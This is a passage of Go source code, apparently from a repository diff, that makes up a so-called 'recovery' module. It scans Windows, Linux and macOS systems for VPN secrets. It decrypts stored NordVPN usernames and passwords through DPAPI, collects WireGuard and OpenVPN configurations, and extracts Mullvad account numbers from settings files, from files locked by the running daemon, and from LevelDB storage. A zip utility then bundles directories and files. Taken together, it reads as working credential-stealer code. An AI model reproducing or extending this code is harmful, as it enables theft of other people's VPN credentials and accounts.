case "Address":
iface = val
case "Endpoint":
endpoint = val
case "PublicKey":
if peer == "" {
peer = val
}
}
}
}
results = append(results, types.WireGuardResult{
Name: e.Name(),
Interface: iface,
Peer: peer,
Endpoint: endpoint,
})
}
}
return results
}
func scanOpenVPNUnix() []types.OpenVPNResult {
var results []types.OpenVPNResult
home, _ := os.UserHomeDir()
ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"}
if home != "" {
ovpnDirs = append(ovpnDirs,
filepath.Join(home, ".config", "openvpn"),
filepath.Join(home, "OpenVPN", "config"),
)
if runtime.GOOS == "darwin" {
ovpnDirs = append(ovpnDirs,
filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"),
)
}
}
for _, ovpnDir := range ovpnDirs {
if !pathExists(ovpnDir) {
continue
}
entries, err := os.ReadDir(ovpnDir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
continue
}
results = append(results, types.OpenVPNResult{
Name: e.Name(),
Path: filepath.Join(ovpnDir, e.Name()),
})
}
}
return results
}
func scanMullvadUnix() []types.MullvadResult {
var results []types.MullvadResult
configDirs := []string{"/etc/mullvad-vpn"}
home, _ := os.UserHomeDir()
if home != "" {
if runtime.GOOS == "darwin" {
configDirs = append(configDirs,
filepath.Join(home, "Library", "Application Support", "Mullvad VPN"),
)
} else {
configDirs = append(configDirs,
filepath.Join(home, ".config", "Mullvad VPN"),
)
}
}
for _, dir := range configDirs {
if !pathExists(dir) {
continue
}
for _, name := range []string{"settings.json", "account-history.json"} {
path := filepath.Join(dir, name)
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
continue
}
var raw map[string]json.RawMessage
if json.Unmarshal(data, &raw) != nil {
var token string
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
}
continue
}
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
v, ok := raw[key]
if !ok {
continue
}
var token string
if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) {
results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
break
}
}
}
}
return results
}
func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool {
for _, r := range results {
if r.AccountNumber == account {
return true
}
}
return false
}
+390
View File
@@ -0,0 +1,390 @@
//go:build windows
package recovery
import (
"encoding/base64"
"encoding/json"
"os"
"path/filepath"
"strings"
"recovery/recovery/platform"
"recovery/recovery/types"
)
func ScanVPNs() *types.VPNResult {
result := &types.VPNResult{
NordVPN: scanNordVPN(),
WireGuard: scanWireGuard(),
OpenVPN: scanOpenVPN(),
Mullvad: scanMullvad(),
}
if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
return nil
}
return result
}
func scanNordVPN() []types.NordVPNResult {
var results []types.NordVPNResult
nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN")
logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir))
if !pathExists(nordDir) {
return nil
}
entries, err := os.ReadDir(nordDir)
if err != nil {
return nil
}
for _, e := range entries {
if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") {
continue
}
versionsDir := filepath.Join(nordDir, e.Name())
subEntries, _ := os.ReadDir(versionsDir)
for _, sub := range subEntries {
if !sub.IsDir() {
continue
}
configPath := filepath.Join(versionsDir, sub.Name(), "user.config")
if !pathExists(configPath) {
continue
}
data, err := os.ReadFile(configPath)
if err != nil || len(data) == 0 {
continue
}
username := extractNordVPNValue(data, "Username")
password := extractNordVPNValue(data, "Password")
if username != "" && password != "" {
results = append(results, types.NordVPNResult{
Version: e.Name(),
Username: username,
Password: password,
})
}
}
}
return results
}
func extractNordVPNValue(data []byte, field string) string {
content := string(data)
idx := strings.Index(content, `name="`+field+`"`)
if idx == -1 {
return ""
}
start := strings.Index(content[idx:], "<value>")
end := strings.Index(content[idx:], "</value>")
if start == -1 || end == -1 || end < start {
return ""
}
raw := content[idx+start+7 : idx+end]
decoded, err := base64.StdEncoding.DecodeString(raw)
if err != nil {
return raw
}
plaintext, err := dpapiDecrypt(decoded, nil)
if err != nil || len(plaintext) == 0 {
return raw
}
return strings.TrimRight(string(plaintext), "\x00")
}
func scanWireGuard() []types.WireGuardResult {
var results []types.WireGuardResult
configDirs := []string{
`C:\Program Files\WireGuard\Data\Configurations`,
filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"),
}
for _, configDir := range configDirs {
logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir))
if !pathExists(configDir) {
continue
}
entries, err := os.ReadDir(configDir)
if err != nil {
continue
}
logf("[vpn] WireGuard dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
ext := strings.ToLower(filepath.Ext(name))
filePath := filepath.Join(configDir, name)
var confData []byte
if ext == ".dpapi" {
confData, err = dpapiDecryptFile(filePath)
name = strings.TrimSuffix(name, ".dpapi")
} else if ext == ".conf" {
confData, err = os.ReadFile(filePath)
} else {
continue
}
if err != nil || len(confData) == 0 {
continue
}
var iface, peer, endpoint string
for _, line := range normLines(string(confData)) {
line = strings.TrimSpace(line)
if key, val, ok := strings.Cut(line, "="); ok {
key = strings.TrimSpace(key)
val = strings.TrimSpace(val)
switch key {
case "Address":
iface = val
case "Endpoint":
endpoint = val
case "PublicKey":
if peer == "" {
peer = val
}
}
}
}
results = append(results, types.WireGuardResult{
Name: name,
Interface: iface,
Peer: peer,
Endpoint: endpoint,
})
}
}
return results
}
func dpapiDecryptFile(path string) ([]byte, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
return dpapiDecrypt(data, nil)
}
func scanOpenVPN() []types.OpenVPNResult {
var results []types.OpenVPNResult
ovpnDirs := []string{
filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"),
filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"),
}
for _, ovpnDir := range ovpnDirs {
logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir))
if !pathExists(ovpnDir) {
continue
}
entries, err := os.ReadDir(ovpnDir)
if err != nil {
continue
}
logf("[vpn] OpenVPN dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
continue
}
results = append(results, types.OpenVPNResult{
Name: e.Name(),
Path: filepath.Join(ovpnDir, e.Name()),
})
}
}
return results
}
func scanMullvad() []types.MullvadResult {
var results []types.MullvadResult
mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe")
systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN`
logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile))
if pathExists(systemProfile) {
sysSettings := filepath.Join(systemProfile, "settings.json")
logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings))
mullvadTryJSON(&results, sysSettings)
sysAcctHistory := filepath.Join(systemProfile, "account-history.json")
logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory))
mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids)
}
daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json")
logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings))
mullvadTryJSON(&results, daemonSettings)
guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN")
logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir))
if pathExists(guiDir) {
guiSettings := filepath.Join(guiDir, "gui_settings.json")
logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings))
mullvadTryJSON(&results, guiSettings)
lsDir := filepath.Join(guiDir, "Local Storage", "leveldb")
logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir))
if pathExists(lsDir) {
mullvadScanLevelDB(&results, lsDir, guiDir)
}
}
acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json")
logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory))
mullvadReadAccountHistory(&results, acctHistory, mullvadPids)
legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad`
logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath))
if pathExists(legacyPath) {
if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 {
var account string
if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 {
account = strings.TrimRight(string(decrypted), "\x00")
}
if account == "" {
for _, line := range normLines(strings.TrimSpace(string(data))) {
line = strings.TrimSpace(line)
if line != "" {
account = line
break
}
}
}
if account != "" && !mullvadAlreadyFound(results, account) {
results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath})
}
}
}
return results
}
func mullvadTryJSON(results *[]types.MullvadResult, path string) {
if !pathExists(path) {
return
}
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
return
}
var raw map[string]json.RawMessage
if json.Unmarshal(data, &raw) != nil {
return
}
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
v, ok := raw[key]
if !ok {
continue
}
var token string
if json.Unmarshal(v, &token) == nil && token != "" {
logf("[vpn] Mullvad found token via key %q in %s", key, path)
if !mullvadAlreadyFound(*results, token) {
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
}
return
}
}
}
func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) {
if !pathExists(path) {
return
}
data, err := platform.ReadLockedFile(path, pids)
if err != nil || len(data) == 0 {
logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err)
return
}
rawContent := strings.TrimSpace(string(data))
logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path)
var token string
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) {
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent})
}
var tokens []string
if json.Unmarshal(data, &tokens) == nil {
for _, t := range tokens {
if t != "" && !mullvadAlreadyFound(*results, t) {
*results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent})
}
}
}
}
func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) {
entries, err := os.ReadDir(lsDir)
if err != nil {
return
}
for _, e := range entries {
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := os.ReadFile(filepath.Join(lsDir, e.Name()))
if err != nil || len(data) == 0 {
continue
}
content := string(data)
// Mullvad account numbers are 16 decimal digits
for i := 0; i <= len(content)-16; i++ {
if isDigit(content[i]) {
end := i
for end < len(content) && isDigit(content[end]) {
end++
}
seq := content[i:end]
if len(seq) == 16 {
logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name())
if !mullvadAlreadyFound(*results, seq) {
*results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir})
}
}
i = end
}
}
}
}
func isDigit(c byte) bool {
return c >= '0' && c <= '9'
}
func mullvadAlreadyFound(results []types.MullvadResult, account string) bool {
for _, r := range results {
if r.AccountNumber == account {
return true
}
}
return false
}
+83
View File
@@ -0,0 +1,83 @@
package ziputil
import (
"archive/zip"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
)
const maxZipSize = 50 * 1024 * 1024 // 50 MB
func ZipDirectory(dir string) ([]byte, error) {
if _, err := os.Stat(dir); err != nil {
return nil, fmt.Errorf("directory not found: %s", dir)
}
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
baseName := filepath.Base(dir)
_ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
rel, err := filepath.Rel(dir, path)
if err != nil {
return nil
}
zipEntry := baseName + "/" + filepath.ToSlash(rel)
f, err := os.Open(path)
if err != nil {
return nil
}
defer f.Close()
w, err := zw.Create(zipEntry)
if err != nil {
return nil
}
io.Copy(w, f) //nolint:errcheck
return nil
})
if err := zw.Close(); err != nil {
return nil, err
}
if buf.Len() > maxZipSize {
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
}
return buf.Bytes(), nil
}
func ZipFiles(paths []string, baseDir string) ([]byte, error) {
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
for _, p := range paths {
rel, err := filepath.Rel(baseDir, p)
if err != nil {
rel = filepath.Base(p)
}
f, err := os.Open(p)
if err != nil {
continue
}
w, err := zw.Create(filepath.ToSlash(rel))
if err != nil {
f.Close()
continue
}
io.Copy(w, f)
f.Close()
}
if err := zw.Close(); err != nil {
return nil, err
}
if buf.Len() > maxZipSize {
return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
}
return buf.Bytes(), nil
}